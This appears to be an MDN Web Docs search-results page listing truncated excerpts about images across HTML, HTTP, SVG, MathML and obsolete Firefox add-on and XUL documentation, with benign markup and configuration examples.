... using the download attribute to save a <canvas> as a png to save a <canvas> element’s contents as an image, you can create a link with a download attribute and the canvas data as a data: url: example painting app with save link html <p>paint by holding down the mouse button and moving it.
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
the html <area> element defines a hot-spot region on an image, and optionally associates it with a hypertext link.
... alt a text string alternative to display on browsers that do not display images.
... the text should be phrased so that it presents the user with the same kind of choice as the image would offer when displayed without the alternative text.
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
example html <p>using css to change the font color is easy.</p> <pre> body { color: red; } </pre> result accessibility concerns it is important to provide an alternate description for any images or diagrams created using preformatted text.
... the alternate description should clearly and concisely describe the image or diagram's content.
... a combination of the <figure> and <figcaption> elements, supplemented by a combination of an id and the aria role and aria-labelledby attributes allow the preformatted text to be announced as an image, with the figcaption serving as the image's alternate description.
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
styling with css <textarea> is a replaced element — it has intrinsic dimensions, like a raster image.
...other major browsers place the insertion point at the beginning of the text.notes a default background-image gradient is applied to all <textarea> elements, which can be disabled using background-image: none.ie full support yesopera full support yessafari full support yeswebview android full support yeschrome android ...
...other major browsers place the insertion point at the beginning of the text.notes a default background-image gradient is applied to all <textarea> elements, which can be disabled using background-image: none.opera android full support yessafari ios full support yesnotes full support yesnotes notes unlike other major browsers, a default style of opacity: 0.4 is applied t...
Evolution of HTTP - HTTP
http has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
... at this point, a typical request and response looked like this: get /mypage.html http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:31 gmt server: cern/3.0 libwww/2.17 content-type: text/html <html> a page with an image <img src="/myimage.gif"> </html> followed by a second connection and request to fetch the image (followed by a response to that request): get /myimage.gif http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:32 gmt server: cern/3.0 libwww/2.17 content-type: text/gif (image content) these novelties have not been introduced as concerted effort, but as a try-...
...ttp/1.1 host: developer.cdn.mozilla.net user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: */* accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok age: 9578461 cache-control: public, max-age=315360000 connection: keep-alive content-length: 3077 content-type: image/png date: thu, 31 mar 2016 13:34:46 gmt last-modified: wed, 21 oct 2015 18:27:50 gmt server: apache (image content of 3077 bytes) http/1.1 was first published as rfc 2068 in january 1997.
Content negotiation - HTTP
in http, content negotiation is the mechanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding).
... the accept header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an html page or an image, a video, or a script: it is different when fetching a document entered in the address bar or an element linked via an <img>, <video> or <audio> element.
... width indicates the resource width in physical pixels (in other words the intrinsic size of an image).
Feature-Policy - HTTP
legacy-image-formats controls whether the current document is allowed to display images in legacy formats.
... oversized-images controls whether the current document is allowed to download and display large images.
... web-share controls whether or not the current document is allowed to use the navigator.share() of web share api to share text, links, images, and other content to arbitrary destiations of user's choice, e.g.
Index - HTTP
WebHTTPHeadersIndex
browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script.
... 38 csp: img-src csp, directive, http, reference, security the http content-security-policy img-src directive specifies valid sources of images and favicons.
... 117 x-dns-prefetch-control dns, http, header the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
Save-Data - HTTP
a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
... examples the vary header ensures that the content is cached properly (for instance ensuring that the user is not served a lower-quality image from the cache when save-data header is no longer present [e.g.
... with save-data: on request: get /image.jpg http/1.0 host: example.com save-data: on response: http/1.0 200 ok content-length: 102832 vary: accept-encoding, save-data cache-control: public, max-age=31536000 content-type: image/jpeg [...] without save-data request: get /image.jpg http/1.0 host: example.com response: http/1.0 200 ok content-length: 481770 vary: accept-encoding, save-data cache-control: public, max-age=31536000 content-type: image/jpeg [...] specifications specification title draft-grigorik-http-client-hints-03, section 7: save-data http client hints ...
An overview of HTTP - HTTP
WebHTTPOverview
a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more.
...due to its extensibility, it is used to not only fetch hypertext documents, but also images and videos or to post content to servers, like with html form results.
...it then parses this file, making additional requests corresponding to execution scripts, layout information (css) to display, and sub-resources contained within the page (usually images and videos).
Redirections in HTTP - HTTP
obviously, this method only works with html, and cannot be used for images or other types of content.
...rvername example.com redirect / https://www.example.com </virtualhost> the url https://example.com/ will be redirected to https://www.example.com/, as will any files or directories under it (https://example.com/some-page will be redirected to https://www.example.com/some-page) redirectmatch does the same, but takes a regular expression to define a collection of affected urls: redirectmatch ^/images/(.*)$ https://images.example.com/$1 all documents in the images/ directory will redirect to a different domain.
... nginx in nginx, you create a specific server block for the content you want to redirect: server { listen 80; server_name example.com; return 301 $scheme://www.example.com$request_uri; } to apply a redirect to a directory or only certain pages, use the rewrite directive: rewrite ^/images/(.*)$ https://images.example.com/$1 redirect; rewrite ^/images/(.*)$ https://images.example.com/$1 permanent; iis in iis, you use the <httpredirect> element to configure redirections.
Promise.any() - JavaScript
const perr = new promise((resolve, reject) => { reject('always fails'); }); promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob.
... we use promise.any() to fetch a couple of images and display the first one available (i.e.
...status: ${response.status}`); } else { return response.blob(); } }) } let coffee = fetchanddecode('coffee.jpg'); let tea = fetchanddecode('tea.jpg'); promise.any([coffee, tea]).then(value => { let objecturl = url.createobjecturl(value); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }) .catch(e => { console.log(e.message); }); specifications specification promise.any ...
<semantics> - MathML
beware that <annotation-xml> elements are only recognized, if the encoding attribute is set to one of the following: "application/mathml-presentation+xml" "mathml-presentation" "svg1.1" "text/html" "image/svg+xml" "application/xml".
..."mathml-content", "mathml-presentation", "application/openmath+xml", "image/png") cd the content dictionary that contains the annotation key symbol.
... <msup> <mi>x</mi> <mn>2</mn> </msup> <mo>+</mo> <mi>y</mi> </mrow> <!-- content mathml --> <annotation-xml encoding="mathml-content"> <apply> <plus/> <apply> <power/> <ci>x</ci> <cn type="integer">2</cn> </apply> <ci>y</ci> </apply> </annotation-xml> <!-- annotate an image --> <annotation encoding="image/png" src="some/path/formula.png"/> <!-- annotate tex --> <annotation encoding="application/x-tex"> x^{2} + y </annotation> </semantics> </math> specifications specification status comment mathml 3.0the definition of 'mixing markup languages for mathematical expressions' in that specification.
The "codecs" parameter in common media types - Web media technologies
02 image characteristics are unknown, or are to be determined by the application 03 reserved for future use by itu or iso/iec 04 bt.470 system m, ntsc (standard definition television in the united states) 05 bt.470 system b, g; bt.601; bt.1358 625; bt.1700 625 pal and 625 secam 06 bt.601 525; bt...
... 10 smpte st 428 (d-cinema distribution master: image characteristics).
... defines the uncompressed image characteristics for dcdm.
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
g" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked content in the same rectangular area in the same frame as the current svg image.
... _self the current svg image is replaced by the linked content in the same browsing context as the current svg image.
... _parent the immediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed from this document.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
image module image implemented.
... feimage implemented.
... document fragments (bug 455986) aren't supported in <svg:feimage>.
Getting started - SVG: Scalable Vector Graphics
the background is set to red by drawing a rectangle <rect> that covers the complete image area.
... the svg file can be referenced with an object element: <object data="image.svg" type="image/svg+xml" /> likewise an iframe element can be used: <iframe src="image.svg"></iframe> an img element can theoretically be used too.
...for normal svg files, servers should send the http headers: content-type: image/svg+xml vary: accept-encoding for gzip-compressed svg files, servers should send the http headers: content-type: image/svg+xml content-encoding: gzip vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc.
Introduction - SVG: Scalable Vector Graphics
it can be used to create an image either by specifying all the lines and shapes necessary, by modifying already existing raster images, or by a combination of both.
... the image and its components can also be transformed, composited together, or filtered to change their appearance completely.
... starting from there, the svg image can become arbitrarily complex.
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
this rotates the ellipse so that it is aligned with its minor axis along the path direction, as shown by the second ellipse in the example image.
... for the unrotated ellipse in the image above, there are only two different arcs and not four to choose from because the line drawn from the start and end of the arc goes through the center of the ellipse.
...the two ellipses are just mirror images of each other.
Positions - SVG: Scalable Vector Graphics
this effectively zooms in on the 100x100 unit area and enlarges the image to double size.
... the current mapping (for a single element or the whole image) of user units to screen units is called user coordinate system.
...(however, the device may decide, what it understands as one pixel.) lengths in the svg file with specific dimensions, like "in" or "cm", are then calculated in a way that makes them appear 1:1 in the resulting image.
Tools for SVG - SVG: Scalable Vector Graphics
other renderers several projects exist that can create a raster image from an svg source.
... imagemagick is one of the most famous command-line image processing tools.
...usage of headless browsers such as slimerjs and phantomjs are also popular for this purpose, as the image produced is closer to what the svg will look like in the browser.
Loading Content Scripts - Archive of obsolete content
at this point, content scripts are able to interact with the dom content, but externally-referenced stylesheets and images may not have finished loading.
... "end" loads the scripts after all content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires.
Content Scripts - Archive of obsolete content
at this point, content scripts are able to interact with the dom content, but externally-referenced stylesheets and images may not have finished loading.
... "end": load the scripts after all content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires.
page-mod - Archive of obsolete content
name: contentscriptwhen type: string by default, content scripts are attached after all the content (dom, js, css, images) for the document has been loaded, at the time the window.onload event fires.
...e option takes a single string that may take any one of the following values: "start": load content scripts immediately after the document element is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) has been loaded, at the time the window.onload event fires var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*", contentscript: 'window.alert("matched!");', contentscriptwhen: "start" }); if you specify "start" for contentscriptwhen, your scripts will not be able to interact with the document's dom right away (although they could listen for window.onl...
page-worker - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires this property is optional and defaults to "end".
...this may have one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoptions read-only value exposed to content scripts under self.options property.
panel - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the panel is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the panel has been loaded, at the time the window.onload event fires this property is optional and defaults to "end".
...this may have one of the following values: "start": load content scripts immediately after the document element for the panel is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the panel has been loaded, at the time the window.onload event fires contentscriptoptions read-only value exposed to content scripts under addon.options property.
content/symbiont - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires this property is optional and defaults to "end".
...this may have one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoptions read-only value exposed to content scripts under self.options property.
ui/button/action - Archive of obsolete content
each key-value pair specifies an icon: each value specifies an image file as a resource:// url or relative path.
... each key must be a numeric string such as "16", or "32", which represents the size in pixels of the corresponding image.
ui/button/toggle - Archive of obsolete content
each key-value pair specifies an icon: each value specifies an image file as a resource:// url or relative path.
... each key must be a numeric string such as "16", or "32", which represents the size in pixels of the corresponding image.
Add a Context Menu Item - Archive of obsolete content
so: the user clicks the item the content script's click event fires, and the content script retrieves the selected text and sends a message to the add-on the add-on's message event fires, and the add-on code's handler function is passed the selected text, which it logs more options adding an image you can add an image to a context menu item with the image option.
...typically you'd store the image in your add-on's "data" directory, and construct the url using self.data.url(): var self = require("sdk/self"); var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', image: self.data.url("icon-16.png"), onmessage: function (selectiontext) { console.log(selectiontext); } }); adding an access key new in firefox 35.
Boxes - Archive of obsolete content
ue="jjj"/> <label value="kkk"/> <label value="lll"/> <label value="mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <label value="vvv"/> <label value="www"/> <label value="xxx"/> <label value="yyy"/> <label value="zzz"/> </hbox> </window> images if you put image in the contents, you should probably add align="start" attribute to the box.
... this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <button label="hello"/> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> </box> </window> ...
Forms related code snippets - Archive of obsolete content
image preview before upload the filereader.prototype.readasdataurl() method can be useful, for example, to get a preview of an image before uploading it.[article] this example shows how to use it in this way.
...for a full compatibility code you can see our crossbrowser possible solution for image preview.
HTML to DOM - Archive of obsolete content
efox) frame.setattribute("id", "sample-frame"); frame.setattribute("name", "sample-frame"); frame.setattribute("type", "content"); frame.setattribute("collapsed", "true"); document.getelementbyid("main-window").appendchild(frame); // or // document.documentelement.appendchild(frame); // set restrictions as needed frame.webnavigation.allowauth = false; frame.webnavigation.allowimages = false; frame.webnavigation.allowjavascript = false; frame.webnavigation.allowmetaredirects = true; frame.webnavigation.allowplugins = false; frame.webnavigation.allowsubframes = false; // listen for load frame.addeventlistener("load", function (event) { // the document of the html in the dom var doc = event.originaltarget; // skip blank page or frame if (doc.location.
...e" height="0"> <iframe type="content" src="" name="donkey-browser" hidden="false" id="donkey-browser" height="0"/> </vbox> then, in your extension's "load" event handler: onload: function() { donkeybrowser = document.getelementbyid("donkey-browser"); if (donkeybrowser) { donkeybrowser.style.height = "0px"; donkeybrowser.webnavigation.allowauth = true; donkeybrowser.webnavigation.allowimages = false; donkeybrowser.webnavigation.allowjavascript = false; donkeybrowser.webnavigation.allowmetaredirects = true; donkeybrowser.webnavigation.allowplugins = false; donkeybrowser.webnavigation.allowsubframes = false; donkeybrowser.addeventlistener("domcontentloaded", function (e) { donkeyfire.donkeybrowser_onpageload(e); }, true); } with that code, we obtain a reference to the if...
Extension Versioning, Update and Compatibility - Archive of obsolete content
since it is being displayed outside of a normal webpage context it is heavily sanitized, which means there are few formatting options available and scripting and images aren't allowed.
...see image below.
Adding sidebars - Archive of obsolete content
one common use for a stack is to have an image background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here.
... --> </hbox> </stack> this workaround is necessary because you can't have an background image stretch using css.
The Box Model - Archive of obsolete content
any xul interface can be broken down into the following basic components: boxes text images alignment and flexibility widths and heights margins and paddings menus, toolbar buttons, and even the most complex elements in xul are composed of these simple ingredients.
...a common exception to this rule is when your css is directly related to images, where you'll usually handle measurements in pixels (px).
The Essentials of an Extension - Archive of obsolete content
the skin section has the files that define most of the look and feel of the ui (using css and images, just like web pages).
...you can easily recognize the access keys on windows because the letter that corresponds to the access key is underlined, as in the following image: most user interface controls have the accesskey attribute, and you should use it.
User Notifications and Alerts - Archive of obsolete content
the appendnotification method takes the message, id, image (32x32), level and buttons.
...the image can have any size, but it is recommended that you use a medium, fixed size.
Tabbed browser - Archive of obsolete content
var url = "https://developer.mozilla.org"; var tab = gbrowser.addtab(null, {relatedtocurrent: true}); gsessionstore.settabstate(tab, json.stringify({ entries: [ { title: url } ], usertypedvalue: url, usertypedclear: 2, lastaccessed: tab.lastaccessed, index: 1, hidden: false, attributes: {}, image: null })); reusing tabs rather than open a new browser or new tab each and every time one is needed, it is good practice to try to re-use an existing tab which already displays the desired url--if one is already open.
...the attributes to which changes result in this event being sent are: label crop busy image selected function exampletabattrmodified(event) { var tab = event.target; // now you can check what's changed on the tab } // during initialization var container = gbrowser.tabcontainer; container.addeventlistener("tabattrmodified", exampletabattrmodified, false); // when no longer needed container.removeeventlistener("tabattrmodified", exampletabattrmodified, false); notification...
Misc top level - Archive of obsolete content
images, tables, and mysterious gapsalmost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm.
...back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin.
Making a Mozilla installation modifiable - Archive of obsolete content
mozilla's user interface is made up of xul (described below), xbl (a topic for another tutorial), javascript, css, and image files.
... xul, xbl, javascript, and css files are all in text format and can be edited in a standard text editor, while image files are in binary gif, jpg, or png format and must be edited with an image editing program.
Specifying the appearance - Archive of obsolete content
for this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-bust...
... installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
Getting Started - Archive of obsolete content
(yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files icon.png and preview.png these are some png images containing the icon and the preview of the theme.
...css files the css files in these directories tell the browser how to display the buttons and other controls, where to put the images, what border and padding it should put around them, and so on.
Creating a hybrid CD - Archive of obsolete content
mkhybrid -o ~/party.iso -r -j -hfs -v mozilla.party -map ~/hfsmapping ~/party/ cdrecord -v speed=2 dev=0,6,0 ~/party.iso its also handy to be able to mount an image file to test it.
...example filename mapping file used by mkhybrid for hfs # # extn xlate creator type comment .hqx ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quicktime movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'tex...
Overview of how downloads work - Archive of obsolete content
things like file|save page as, save image as, etc.
...click on the images to display them "stand-alone" in the browser, which may resize them to fit the browser window.
XUL Events - Archive of obsolete content
this event may also be used on the image element, or an element that accepts an image attribute, and will be fired when the image has finished loading.
... for images, this event does not bubble up the element tree, so it will not conflict with the window's load event.
Menus - Archive of obsolete content
ndow links context-openlinkintab opens a link in a new tab links context-bookmarklink bookmarks a link links context-savelink saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackground sets an image as the desktop ...
...background images context-blockimage blocks an image images context-back goes back a page context-forward goes forward a page context-reload reloads a page context-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete ...
List of commands - Archive of obsolete content
list of commands (grouped by type) nsdomwindowcontroller commands (generally legal when there is a selection): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharprevious cmd_selectcharnext cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlin...
..._bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage...
Floating Panels - Archive of obsolete content
a label for the titlebar may be set using the label attribute, as in the following example: <panel id="info-panel" noautohide="true" titlebar="normal" label="image properties"> closing a floating panel unlike other panels, a floating panel does not close when clicking outside of it.
...<panel id="info-panel" noautohide="true" titlebar="normal" label="image properties" close="true"> the hidepopup method may be used to manually close a popup.
MenuModification - Archive of obsolete content
<script> function addsubmenu() { var popup = document.getelementbyid("file-popup"); var newmenu = document.createelement("menu"); popup.appendchild(newmenu); newmenu.label = "new"; newmenu.appenditem("document", "doc"); newmenu.appenditem("image", "image"); } </script> <menu label="file" onpopupshowing="addsubmenu()"> <menupopup id="file-popup"/> </menu>.
... <script> function addsubmenu() { var popup = document.getelementbyid("file-popup"); if (popup.haschildnodes()) return; var newmenu = document.createelement("menu"); popup.appendchild(newmenu); newmenu.label = "new"; newmenu.appenditem("document", "doc"); newmenu.appenditem("image", "image"); } </script> the haschildnodes method may be used to check if a node has any children.
OpenClose - Archive of obsolete content
on windows, the context menu can also be opened by pressing the menu key on the keyboard (the key on many keyboards next to control with a menu image) or by pressing shift+f10.
...this may be confusing to understand, so see positioning a popup which describes this process in more detail and provides images which show the possible values and how a popup would be aligned for each value.
listitem-iconic - Archive of obsolete content
« xul reference home listitem-iconic use this class to have an image appear on the listitem.
... specify the image using the image attribute.
menu-iconic - Archive of obsolete content
« xul reference home menu-iconic use this class to have an image appear on the menu.
... specify the image using the image attribute.
menuitem-iconic - Archive of obsolete content
« xul reference home menuitem-iconic use this class to have an image appear on the menuitem.
... specify the image using the image attribute.
Building Trees - Archive of obsolete content
the src attribute may be used to set an image to appear in a cell.
...it’s not normal to put photos in a tree like this—instead, the images would be used for icons.
Multiple Rules - Archive of obsolete content
"http://www.xulplanet.com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> <rule> <where subject="?title" rel="equals" value="canal"/> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </rule> <rule> <action> <image uri="?photo" src="?photo"/> </action> </rule> </template> </hbox> this template contains a query with two rules.
...in fact, the content for this photo is that of the first rule with the button, whereas the content for the other photos is that of the second rule with the normal images.
Sorting Results - Archive of obsolete content
here is a sample of how to specify this in the rdf/xml datasource: <rdf:rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:r="http://www.xulplanet.com/rdf/" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"> <r:date nc:parsetype="date">1125966767295<r:date> </rdf:description> </rdf:rdf> you can also specify parsetype="integer" for numbers which will allow sorting numerically.
...for rdf datasources, you can also use an rdf predicate for sorting instead of a variable: <hbox datasources="template-guide-photos5.rdf" sort="http://purl.org/dc/elements/1.1/title" sortdirection="ascending" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </template> </hbox> in this example, the generated items will be sorted by title.
Tree Widget Changes - Archive of obsolete content
<treecell/> <treecell value="true"/> you need to specify the checkbox image with css for the checkbox to display.
... (do not set id of the column to be 'checked' it will cause problems with the css) treechildren::-moz-tree-checkbox(checked) { /* css for checked cells */ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } in addition, checkmark columns support editing: <tree editable="true"> <treecols> <treecol type="checkbox" editable="true"> ...
Adding HTML Elements - Archive of obsolete content
<html:img src="banner.jpg"/> <html:input type="checkbox" value="true"/> <html:table> <html:tr> <html:td> a simple table </html:td> </html:tr> </html:table> these examples will create an image from the file banner.jpg, a checkbox and a single-cell table.
... <html:hr/> </html:div> expense report 1 what i did last summer <button id="yes" label="yes"/> <button id="no" label="no"/> as can be seen in the image, the text inside the div tag was displayed but the other text (expense report 1 and what i did last summer) was not.
Input Controls - Archive of obsolete content
if you open this window, you will see something much like that shown in the image.
... example 3 : source view <radiogroup> <radio id="orange" label="orange"/> <radio id="violet" selected="true" label="violet"/> <radio id="yellow" label="yellow"/> </radiogroup> attributes like buttons, check boxes and radio buttons are made up of a label and an image, where the image switches between checked and unchecked when it is pressed.
Introduction - Archive of obsolete content
for extensions, the xul files and associated scripts and images used by an application would be packaged into a single file and downloaded and installed by the user.
...in addition, you may have extra files for images or for platform specific data.
Open and Save Dialogs - Archive of obsolete content
fp.appendfilters(nsifilepicker.filterhtml | nsifilepicker.filterimages); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); the first example will add filters for html and for image files.
...on some platforms, each filter will be separate and the user can choose between html files and image files.
Templates - Archive of obsolete content
you can see in the image that the set of buttons has been created, one for each bookmark.
... rules in the image of the earlier example, you may have noticed that the third button is simply a button with hyphens on it.
Tree Box Objects - Archive of obsolete content
the final value that may be returned is 'image' if there is an image in the tree cell and the coordinate corresponds to a location where the image is.
...the cell part type may be used to get the coordinates of either the text, the entire cell, the twisty or the image in the cell.
Using Spacers - Archive of obsolete content
as you can see in the image, by placing a flex attribute on the find button, it resizes when the window does.
...you may have noticed something about the image above.
XBL Example - Archive of obsolete content
you could put anything within the pages, however, this widget might be useful for a set of images.
... the following xul file produces the result in the image.
XUL Questions and Answers - Archive of obsolete content
there are several options for displaying graphics and animation in xul: <html:canvas> svg <xul:image> (static images or animated gif; support for apng is planned) plugins templates with non-rdf datasources?
...this should be used in place of the image attribute.
Accessibility/XUL Accessibility Reference - Archive of obsolete content
button <button label="<!--button text-->" /> <button id="butwrap1"> <label control="butwrap1"> <!--wrapped label--> </label> </button> <button id='butwrap2'> <label control="butwrap2" value="<!--this-->" /> <label control="butwrap2" value="is" /> <label control="butwrap2" value="a" /> <label control="butwrap2" value="button" /> </button> <button image="images/img.xbm" tooltiptext="<!--button text-->"/> note that in the third example, only the first label is read browser jaws 7.10 issues to use a browser element with html, the type="content" attribute should be specified.
... image <image src="images/img.xbm" tooltiptext='<!--image label-->'/> key see keyboard shortcut tutorial keyset see keyboard shortcut tutorial listbox <label control='listid'><!--label text--></label> <listbox id="listid"> <listitem value="val" label="<!--item text-->"/> </listbox> <label control='listid2' value='<!--list labe...
notificationbox - Archive of obsolete content
